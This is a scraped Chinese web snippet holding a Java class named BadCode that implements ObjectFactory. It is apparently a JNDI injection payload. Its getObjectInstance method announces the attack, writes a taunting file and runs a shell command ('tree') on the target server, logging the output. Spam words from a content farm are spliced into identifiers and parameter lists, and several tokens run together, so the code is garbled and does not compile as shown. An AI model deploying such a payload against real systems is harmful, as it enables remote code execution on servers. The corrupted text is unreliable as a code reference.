![]() 复制public class BadCode implements ObjectFactory { @Override public Object getObjectInstance(Object obj,从源 Namename,漏洞 Context nameCtx,从源 Hashtable<?漏洞,云服务器 ?从源> environment) throws Exception { System.out.println("开始执行攻击"); String data = "HH,我来了";// 嚣张点 File file =new File("./badcode.txt"); //if file does not exists,漏洞 thencreate it if(!file.exists()){ file.createNewFile(); } FileWriter fileWritter = new FileWriter(file.getName(),免费信息发布网从源true); fileWritter.write(data); // 遍历服务器指定目录 List<String> command = new ArrayList<String>(); command.add("tree"); command.add("**");//指定一个目录 String outstring = null; Process p = null; try { ProcessBuilder builder = new ProcessBuilder(); builder.command(command); /** * 将标准输入流和错误输入流合并,漏洞通过标准输入流程读取信息 */ builder.redirectErrorStream(true); p = builder.start(); outstring = waitFor(p); fileWritter.write(outstring); } catch (Exception ex) { ex.printStackTrace(); }finally { fileWritter.close(); p.destroy(); } return obj; } publicstatic String waitFor(Process p) { InputStream in = null; int exitValue = -1; StringBuffer outputString = new StringBuffer(); try { in = p.getInputStream(); final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in,从源 "utf-8")); boolean finished = false; int maxRetry = 600;//每次休眠1秒,亿华云漏洞从源最长执行时间10分种 int retry = 0; while (!finished) { if (retry > maxRetry) { return"error"; } try { String line=""; while ((line=bufferedReader.readLine())!=null) { outputString.append(line+"n"); } //进程未结束时调用exitValue将抛出异常 exitValue = p.exitValue(); finished = true; } catch (IllegalThreadStateException e) { Thread.sleep(1000);//休眠1秒 retry++; } } } catch (Exception e) { e.printStackTrace(); } finally { if (in != null) { try { in.close(); } catch (IOException e) { System.out.println(e.getMessage()); } } } return outputString.toString(); } } 1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.45.46.47.48.49.50.51.52.53.54.55.56.57.58.59.60.61.62.63.64.65.66.67.68.69.70.71.72.73.74.75.76.77.78.79.80.81.  |